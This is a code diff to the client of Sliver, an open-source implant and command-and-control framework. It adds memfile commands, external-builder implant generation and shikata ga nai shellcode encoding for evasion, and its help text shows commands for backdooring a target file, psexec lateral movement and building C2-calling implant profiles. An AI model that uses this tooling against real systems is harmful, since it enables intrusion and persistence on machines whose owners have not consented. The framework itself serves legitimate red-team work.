+			fmt.Fprintf(table, "%s\t%s%s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
+		}
+
 	}
 	table.Flush()
 	con.Printf("%s\n", outputBuf.String())

client/command/filesystem/memfiles-add.go

@@ -0,0 +1,67 @@
+package filesystem
+
+/*
+	Copyright (C) 2023 b0yd
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// MemfilesAddCmd - Add memfile
+func MemfilesAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	memfilesAdd, err := con.Rpc.MemfilesAdd(context.Background(), &sliverpb.MemfilesAddReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if memfilesAdd.Response != nil && memfilesAdd.Response.Async {
+		con.AddBeaconCallback(memfilesAdd.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, memfilesAdd)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintAddMemfile(memfilesAdd, con)
+		})
+		con.PrintAsyncResponse(memfilesAdd.Response)
+	} else {
+		PrintAddMemfile(memfilesAdd, con)
+	}
+}
+
+// PrintAddMemfile - Print the memfiles response
+func PrintAddMemfile(memfilesAdd *sliverpb.MemfilesAdd, con *console.SliverConsoleClient) {
+	if memfilesAdd.Response != nil && memfilesAdd.Response.Err != "" {
+		con.PrintErrorf("%s\n", memfilesAdd.Response.Err)
+		return
+	}
+	con.PrintInfof("New memfile descriptor: %d\n", memfilesAdd.Fd)
+}

client/command/filesystem/memfiles-list.go

@@ -0,0 +1,118 @@
+package filesystem
+
+/*
+	Copyright (C) 2023 b0yd
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"context"
+	"fmt"
+	"strings"
+	"text/tabwriter"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/util"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// MemfilesListCmd - List memfiles
+func MemfilesListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	memfilesList, err := con.Rpc.MemfilesList(context.Background(), &sliverpb.MemfilesListReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if memfilesList.Response != nil && memfilesList.Response.Async {
+		con.AddBeaconCallback(memfilesList.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, memfilesList)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintMemfiles(memfilesList, con)
+		})
+		con.PrintAsyncResponse(memfilesList.Response)
+	} else {
+		PrintMemfiles(memfilesList, con)
+	}
+}
+
+// PrintMemfiles - Display an sliverpb.Ls object
+func PrintMemfiles(ls *sliverpb.Ls, con *console.SliverConsoleClient) {
+	if ls.Response != nil && ls.Response.Err != "" {
+		con.PrintErrorf("%s\n", ls.Response.Err)
+		return
+	}
+
+	// Generate metadata to print with the path
+	numberOfFiles := len(ls.Files)
+	var totalSize int64 = 0
+	var pathInfo string
+
+	for _, fileInfo := range ls.Files {
+		totalSize += fileInfo.Size
+	}
+
+	if numberOfFiles == 1 {
+		pathInfo = fmt.Sprintf("%s (%d item, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
+	} else {
+		pathInfo = fmt.Sprintf("%s (%d items, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
+	}
+
+	con.Printf("%s\n", pathInfo)
+	con.Printf("%s\n", strings.Repeat("=", len(pathInfo)))
+
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+
+	for _, fileInfo := range ls.Files {
+		modTime := time.Unix(fileInfo.ModTime, 0)
+		implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
+		modTime = modTime.In(implantLocation)
+
+		owner := ""
+		if fileInfo.Uid != "" {
+			owner = fileInfo.Uid
+		}
+		if fileInfo.Gid != "" {
+			owner = owner + ":" + fileInfo.Gid + "\t"
+		}
+
+		if fileInfo.IsDir {
+			fmt.Fprintf(table, "%s\t%s%s\t<dir>\t%s\n", fileInfo.Mode, owner, fileInfo.Name, modTime.Format(time.RubyDate))
+		} else if fileInfo.Link != "" {
+			fmt.Fprintf(table, "%s\t%s%s -> %s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
+		} else {
+			fmt.Fprintf(table, "%s\t%s%s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
+		}
+
+	}
+	table.Flush()
+	con.Printf("%s\n", outputBuf.String())
+}

client/command/filesystem/memfiles-rm.go

@@ -0,0 +1,77 @@
+package filesystem
+
+/*
+	Copyright (C) 2023 b0yd
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"strconv"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// MemfilesRmCmd - Remove a memfile
+func MemfilesRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	fdArg := ctx.Args.String("fd")
+	if fdArg == "" {
+		con.PrintErrorf("Missing parameter: File Descriptor\n")
+		return
+	}
+
+	fdInt, err := strconv.ParseInt(fdArg, 0, 64)
+
+	memfilesList, err := con.Rpc.MemfilesRm(context.Background(), &sliverpb.MemfilesRmReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Fd:      fdInt,
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if memfilesList.Response != nil && memfilesList.Response.Async {
+		con.AddBeaconCallback(memfilesList.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, memfilesList)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintRmMemfile(memfilesList, con)
+		})
+		con.PrintAsyncResponse(memfilesList.Response)
+	} else {
+		PrintRmMemfile(memfilesList, con)
+	}
+}
+
+// PrintRmMemfile - Remove a memfile
+func PrintRmMemfile(memfilesList *sliverpb.MemfilesRm, con *console.SliverConsoleClient) {
+	if memfilesList.Response != nil && memfilesList.Response.Err != "" {
+		con.PrintErrorf("%s\n", memfilesList.Response.Err)
+		return
+	}
+	con.PrintInfof("Removed memfile descriptor: %d\n", memfilesList.Fd)
+}

client/command/generate/generate-beacon.go

@@ -31,7 +31,11 @@ func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if save == "" {
 		save, _ = os.Getwd()
 	}
-	compile(config, save, con)
+	if !ctx.Flags.Bool("external-builder") {
+		compile(config, ctx.Flags.Bool("disable-sgn"), save, con)
+	} else {
+		externalBuild(config, save, con)
+	}
 }
 
 func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {

client/command/generate/generate-stager.go

@@ -1,10 +1,28 @@
 package generate
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
 	"fmt"
-	"io/ioutil"
 	"net"
+	"os"
 	"regexp"
 	"strings"
 
@@ -51,12 +69,12 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	arch := ctx.Flags.String("arch")
 	proto := ctx.Flags.String("protocol")
 	format := ctx.Flags.String("format")
-	badchars := ctx.Flags.String("badchars")
+	badChars := ctx.Flags.String("badchars")
 	save := ctx.Flags.String("save")
 
 	bChars := make([]string, 0)
-	if len(badchars) > 0 {
-		for _, b := range strings.Split(badchars, " ") {
+	if len(badChars) > 0 {
+		for _, b := range strings.Split(badChars, " ") {
 			bChars = append(bChars, fmt.Sprintf("\\x%s", b))
 		}
 	}
@@ -88,7 +106,7 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	<-ctrl
 
 	if err != nil {
-		con.PrintErrorf("Error: %v", err)
+		con.PrintErrorf("Error: %v - Please make sure Metasploit framework >= v6.2 is installed and msfvenom/msfconsole are in your PATH", err)
 		return
 	}
 
@@ -98,7 +116,7 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			return
 		}
 
-		err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
+		err = os.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
 		if err != nil {
 			con.PrintErrorf("Failed to write to: %s\n", saveTo)
 			return

client/command/generate/generate.go

@@ -22,12 +22,11 @@ import (
 	"context"
 	"errors"
 	"fmt"
-	"io/ioutil"
 	"log"
 	"net"
 	"net/url"
 	"os"
-	"path"
+	"os/signal"
 	"path/filepath"
 	"runtime"
 	"strings"
@@ -36,6 +35,8 @@ import (
 
 	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/client/spin"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/util"
@@ -82,6 +83,9 @@ var (
 		"windows/386":   true,
 		"windows/amd64": true,
 	}
+
+	ErrNoExternalBuilder = errors.New("no external builders are available")
+	ErrNoValidBuilders   = errors.New("no valid external builders for target")
 )
 
 // GenerateCmd - The main command used to generate implant binaries
@@ -94,7 +98,24 @@ func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if save == "" {
 		save, _ = os.Getwd()
 	}
-	compile(config, save, con)
+	if !ctx.Flags.Bool("external-builder") {
+		compile(config, ctx.Flags.Bool("disable-sgn"), save, con)
+	} else {
+		_, err := externalBuild(config, save, con)
+		if err != nil {
+			if err == ErrNoExternalBuilder {
+				con.PrintErrorf("There are no external builders currently connected to the server\n")
+				con.PrintErrorf("See 'builders' command for more information\n")
+			} else if err == ErrNoValidBuilders {
+				con.PrintErrorf("There are external builders connected to the server, but none can build the target you specified\n")
+				con.PrintErrorf("Invalid target %s\n", fmt.Sprintf("%s:%s/%s", config.Format, config.GOOS, config.GOARCH))
+				con.PrintErrorf("See 'builders' command for more information\n")
+			} else {
+				con.PrintErrorf("%s\n", err)
+			}
+			return
+		}
+	}
 }
 
 func expandPath(path string) string {
@@ -118,7 +139,7 @@ func saveLocation(save, DefaultName string) (string, error) {
 		if strings.HasSuffix(save, "/") {
 			log.Printf("%s is dir\n", save)
 			os.MkdirAll(save, 0700)
-			saveTo, _ = filepath.Abs(path.Join(saveTo, DefaultName))
+			saveTo, _ = filepath.Abs(filepath.Join(saveTo, DefaultName))
 		} else {
 			log.Printf("%s is not dir\n", save)
 			saveDir := filepath.Dir(save)
@@ -132,7 +153,7 @@ func saveLocation(save, DefaultName string) (string, error) {
 		log.Printf("%s does exist\n", save)
 		if fi.IsDir() {
 			log.Printf("%s is dir\n", save)
-			saveTo, _ = filepath.Abs(path.Join(save, DefaultName))
+			saveTo, _ = filepath.Abs(filepath.Join(save, DefaultName))
 		} else {
 			log.Printf("%s is not dir\n", save)
 			prompt := &survey.Confirm{Message: "Overwrite existing file?"}
@@ -157,8 +178,9 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
 		return "Shared Library"
 	case clientpb.OutputFormat_SHELLCODE:
 		return "Shellcode"
+	default:
+		return "Unknown"
 	}
-	panic(fmt.Sprintf("Unknown format %v", value))
 }
 
 // Shared function that extracts the compile flags from the grumble context
@@ -249,6 +271,8 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 	limitUsername := ctx.Flags.String("limit-username")
 	limitDatetime := ctx.Flags.String("limit-datetime")
 	limitFileExists := ctx.Flags.String("limit-fileexists")
+	limitLocale := ctx.Flags.String("limit-locale")
+	debugFile := ctx.Flags.String("debug-file")
 
 	isSharedLib := false
 	isService := false
@@ -281,6 +305,10 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 	if targetOS == "" || targetArch == "" {
 		return nil
 	}
+	if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
+		con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
+		return nil
+	}
 	if len(namedPipeC2) > 0 && targetOS != "windows" {
 		con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
 		return nil
@@ -318,6 +346,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		ObfuscateSymbols: symbolObfuscation,
 		C2:               c2s,
 		CanaryDomains:    canaryDomains,
+		TemplateName:     ctx.Flags.String("template"),
 
 		WGPeerTunIP:       tunIP.String(),
 		WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
@@ -333,6 +362,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		LimitUsername:     limitUsername,
 		LimitDatetime:     limitDatetime,
 		LimitFileExists:   limitFileExists,
+		LimitLocale:       limitLocale,
 
 		Format:      configFormat,
 		IsSharedLib: isSharedLib,
@@ -340,6 +370,8 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		IsShellcode: isShellcode,
 
 		RunAtLoad: runAtLoad,
+
+		DebugFile: debugFile,
 	}
 
 	return config
@@ -459,10 +491,9 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
 		return c2s, nil
 	}
 	for index, arg := range strings.Split(args, ",") {
-		arg = strings.ToLower(arg)
 		var uri *url.URL
 		var err error
-		if strings.HasPrefix(arg, "http://") || strings.HasPrefix(arg, "https://") {
+		if cmp := strings.ToLower(arg); strings.HasPrefix(cmp, "http://") || strings.HasPrefix(cmp, "https://") {
 			uri, err = url.Parse(arg)
 			if err != nil {
 				return nil, err
@@ -473,6 +504,7 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
 				return nil, err
 			}
 		}
+		uri.Path = strings.TrimSuffix(uri.Path, "/")
 		if uri.Scheme != "http" && uri.Scheme != "https" {
 			return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
 		}
@@ -601,7 +633,131 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
 	return c2s, nil
 }
 
-func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
+func externalBuild(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
+
+	potentialBuilders, err := findExternalBuilders(config, con)
+	if err != nil {
+		return nil, err
+	}
+	var externalBuilder *clientpb.Builder
+	if len(potentialBuilders) == 1 {
+		externalBuilder = potentialBuilders[0]
+	} else {
+		con.PrintInfof("Found %d external builders that can compile this configuration", len(potentialBuilders))
+		externalBuilder, err = selectExternalBuilder(potentialBuilders, con)
+		if err != nil {
+			return nil, err
+		}
+	}
+	con.PrintInfof("Using external builder: %s\n", externalBuilder.Name)
+
+	if config.IsBeacon {
+		interval := time.Duration(config.BeaconInterval)
+		con.PrintInfof("Externally generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
+	} else {
+		con.PrintInfof("Externally generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
+	}
+	if config.ObfuscateSymbols {
+		con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
+	} else if !config.Debug {
+		con.PrintErrorf("Symbol obfuscation is %sdisabled%s\n", console.Bold, console.Normal)
+	}
+	start := time.Now()
+
+	listenerID, listener := con.CreateEventListener()
+
+	waiting := true
+	spinner := spin.New()
+
+	sigint := make(chan os.Signal, 1) // Catch keyboard interrupts
+	signal.Notify(sigint, os.Interrupt)
+
+	con.PrintInfof("Creating external build ... ")
+	externalImplantConfig, err := con.Rpc.GenerateExternal(context.Background(), &clientpb.ExternalGenerateReq{
+		Config:      config,
+		BuilderName: externalBuilder.Name,
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil, err
+	}
+	con.Printf("done\n")
+
+	var name string
+	msgF := "Waiting for external builder to acknowledge build (template: %s) ... %s"
+	for waiting {
+		select {
+
+		case <-time.After(100 * time.Millisecond):
+			elapsed := time.Since(start)
+			msg := fmt.Sprintf(msgF, externalImplantConfig.Config.TemplateName, elapsed.Round(time.Second))
+			fmt.Fprintf(con.App.Stdout(), console.Clearln+" %s  %s", spinner.Next(), msg)
+
+		case event := <-listener:
+			switch event.EventType {
+
+			case consts.ExternalBuildFailedEvent:
+				parts := strings.SplitN(string(event.Data), ":", 2)
+				if len(parts) != 2 {
+					continue
+				}
+				if parts[0] == externalImplantConfig.Config.ID {
+					con.RemoveEventListener(listenerID)
+					return nil, fmt.Errorf("external build failed: %s", parts[1])
+				}
+
+			case consts.AcknowledgeBuildEvent:
+				if string(event.Data) == externalImplantConfig.Config.ID {
+					msgF = "External build acknowledged by builder (template: %s) ... %s"
+				}
+
+			case consts.ExternalBuildCompletedEvent:
+				parts := strings.SplitN(string(event.Data), ":", 2)
+				if len(parts) != 2 {
+					continue
+				}
+				if parts[0] == externalImplantConfig.Config.ID {
+					con.RemoveEventListener(listenerID)
+					name = parts[1]
+					waiting = false
+				}
+
+			}
+
+		case <-sigint:
+			waiting = false
+			con.Printf("\n")
+			return nil, fmt.Errorf("user interrupt")
+		}
+	}
+
+	elapsed := time.Since(start)
+	con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
+
+	generated, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
+		ImplantName: name,
+	})
+	if err != nil {
+		return nil, err
+	}
+	con.PrintInfof("Build name: %s (%d bytes)\n", name, len(generated.File.Data))
+
+	saveTo, err := saveLocation(save, filepath.Base(generated.File.Name))
+	if err != nil {
+		return nil, err
+	}
+
+	err = os.WriteFile(saveTo, generated.File.Data, 0700)
+	if err != nil {
+		con.PrintErrorf("Failed to write to: %s\n", saveTo)
+		return nil, err
+	}
+	con.PrintInfof("Implant saved to %s\n", saveTo)
+
+	return nil, nil
+}
+
+func compile(config *clientpb.ImplantConfig, disableSGN bool, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
 	if config.IsBeacon {
 		interval := time.Duration(config.BeaconInterval)
 		con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
@@ -628,20 +784,41 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
 		return nil, err
 	}
 
-	end := time.Now()
-	elapsed := time.Time{}.Add(end.Sub(start))
-	con.PrintInfof("Build completed in %s\n", elapsed.Format("15:04:05"))
+	elapsed := time.Since(start)
+	con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
 	if len(generated.File.Data) == 0 {
 		con.PrintErrorf("Build failed, no file data\n")
 		return nil, errors.New("no file data")
 	}
 
+	fileData := generated.File.Data
+	if config.IsShellcode {
+		if disableSGN {
+			con.PrintErrorf("Shikata ga nai encoder is %sdisabled%s\n", console.Bold, console.Normal)
+		} else {
+			con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
+			resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
+				Encoder:      clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
+				Architecture: config.GOARCH,
+				Iterations:   1,
+				BadChars:     []byte{},
+				Data:         fileData,
+			})
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+			} else {
+				con.Printf("success!\n")
+				fileData = resp.GetData()
+			}
+		}
+	}
+
 	saveTo, err := saveLocation(save, generated.File.Name)
 	if err != nil {
 		return nil, err
 	}
 
-	err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
+	err = os.WriteFile(saveTo, fileData, 0700)
 	if err != nil {
 		con.PrintErrorf("Failed to write to: %s\n", saveTo)
 		return nil, err
@@ -667,6 +844,9 @@ func getLimitsString(config *clientpb.ImplantConfig) string {
 	if config.LimitFileExists != "" {
 		limits = append(limits, fmt.Sprintf("fileexists=%s", config.LimitFileExists))
 	}
+	if config.LimitLocale != "" {
+		limits = append(limits, fmt.Sprintf("locale=%s", config.LimitLocale))
+	}
 	return strings.Join(limits, "; ")
 }
 
@@ -728,3 +908,48 @@ func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, tar
 	survey.AskOne(prompt, &confirm, nil)
 	return confirm
 }
+
+func findExternalBuilders(config *clientpb.ImplantConfig, con *console.SliverConsoleClient) ([]*clientpb.Builder, error) {
+	builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return nil, err
+	}
+	if len(builders.Builders) < 1 {
+		return []*clientpb.Builder{}, ErrNoExternalBuilder
+	}
+
+	validBuilders := []*clientpb.Builder{}
+	for _, builder := range builders.Builders {
+		for _, target := range builder.Targets {
+			if target.GOOS == config.GOOS && target.GOARCH == config.GOARCH && config.Format == target.Format {
+				validBuilders = append(validBuilders, builder)
+				break
+			}
+		}
+	}
+
+	if len(validBuilders) < 1 {
+		return []*clientpb.Builder{}, ErrNoValidBuilders
+	}
+
+	return validBuilders, nil
+}
+
+func selectExternalBuilder(builders []*clientpb.Builder, con *console.SliverConsoleClient) (*clientpb.Builder, error) {
+	choices := []string{}
+	for _, builder := range builders {
+		choices = append(choices, builder.Name)
+	}
+	choice := ""
+	prompt := &survey.Select{
+		Message: "Select an external builder:",
+		Options: choices,
+	}
+	survey.AskOne(prompt, &choice, nil)
+	for _, builder := range builders {
+		if builder.Name == choice {
+			return builder, nil
+		}
+	}
+	return nil, ErrNoValidBuilders
+}

client/command/generate/helpers.go

@@ -17,7 +17,7 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsol
 		return data, err
 	}
 
-	implantName := buildImplantName(profile.GetConfig().GetName())
+	implantName := buildImplantName(profile.GetConfig().GetFileName())
 	_, ok := builds.GetConfigs()[implantName]
 	if implantName == "" || !ok {
 		// no built implant found for profile, generate a new one
@@ -35,17 +35,18 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsol
 			return data, err
 		}
 		data = generated.GetFile().GetData()
-		profile.Config.Name = buildImplantName(generated.GetFile().GetName())
+		profile.Config.FileName = generated.File.Name
 		_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
 		if err != nil {
 			con.PrintErrorf("Error updating implant profile\n")
 			return data, err
 		}
+		con.PrintInfof("Sliver name for profile %s: %s\n", profile.Name, buildImplantName(profile.GetConfig().GetFileName()))
 	} else {
 		// Found a build, reuse that one
-		con.PrintInfof("Sliver name for profile: %s\n", implantName)
+		con.PrintInfof("Sliver name for profile %s: %s\n", profile.Name, implantName)
 		regenerate, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
-			ImplantName: profile.GetConfig().GetName(),
+			ImplantName: implantName,
 		})
 
 		if err != nil {

client/command/generate/implants.go

@@ -49,10 +49,10 @@ func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-	implantBuildfilters := ImplantBuildFilter{}
+	implantBuildFilters := ImplantBuildFilter{}
 
 	if 0 < len(builds.Configs) {
-		PrintImplantBuilds(builds.Configs, implantBuildfilters, con)
+		PrintImplantBuilds(builds.Configs, implantBuildFilters, con)
 	} else {
 		con.PrintInfof("No implant builds\n")
 	}
@@ -65,6 +65,7 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
 	tw.AppendHeader(table.Row{
 		"Name",
 		"Implant Type",
+		"Template",
 		"OS/Arch",
 		"Format",
 		"Command & Control",
@@ -103,9 +104,13 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
 		for index, c2 := range config.C2 {
 			c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
 		}
+		if config.TemplateName == "" {
+			config.TemplateName = "sliver"
+		}
 		tw.AppendRow(table.Row{
 			sliverName,
 			implantType,
+			config.TemplateName,
 			fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
 			config.Format,
 			strings.Join(c2URLs, "\n"),

client/command/generate/profiles-generate.go

@@ -41,7 +41,7 @@ func ProfilesGenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 	}
 	profile := GetImplantProfileByName(name, con)
 	if profile != nil {
-		implantFile, err := compile(profile.Config, save, con)
+		implantFile, err := compile(profile.Config, ctx.Flags.Bool("disable-sgn"), save, con)
 		if err != nil {
 			return
 		}

client/command/generate/regenerate.go

@@ -20,7 +20,6 @@ package generate
 
 import (
 	"context"
-	"io/ioutil"
 	"os"
 
 	"github.com/bishopfox/sliver/client/console"
@@ -51,7 +50,7 @@ func RegenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-	err = ioutil.WriteFile(saveTo, regenerate.File.Data, 0700)
+	err = os.WriteFile(saveTo, regenerate.File.Data, 0700)
 	if err != nil {
 		con.PrintErrorf("Failed to write to %s\n", err)
 		return

client/command/help/long-help.go

@@ -103,6 +103,11 @@ var (
 		consts.ReactionStr:                         reactionHelp,
 		consts.ReactionStr + sep + consts.SetStr:   reactionSetHelp,
 		consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
+
+		consts.Cursed + sep + consts.CursedChrome: cursedChromeHelp,
+
+		// Builders
+		consts.BuildersStr: buildersHelp,
 	}
 
 	jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
@@ -204,10 +209,10 @@ stage-listener --url tcp://1.2.3.4:8080 --profile my-sliver-profile
 
 To create a profile, use the [[.Bold]]profiles new[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
 
-profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
+profiles new --format shellcode --mtls 1.2.3.4 --skip-symbols windows-shellcode
 `
 
-	newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
+	newProfileHelp = `[[.Bold]]Command:[[.Normal]] new <options> <profile name>
 [[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.
 
 [[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
@@ -450,7 +455,7 @@ The profile must be created with the [[.Bold]]service[[.Normal]] format, so that
 
 To create such a profile, use the [[.Bold]]profiles new[[.Normal]] command:
 
-profiles new --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
+profiles new --format service --skip-symbols --mtls a.bc.de win-svc64
 
 Once the profile has been created, run the [[.Bold]]psexec[[.Normal]] command:
 
@@ -462,10 +467,20 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
 [[.Bold]]About:[[.Normal]] Inject a sliver shellcode into an existing file on the target system.
 [[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"
 
-[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --profile-name whatever --http ab.cd
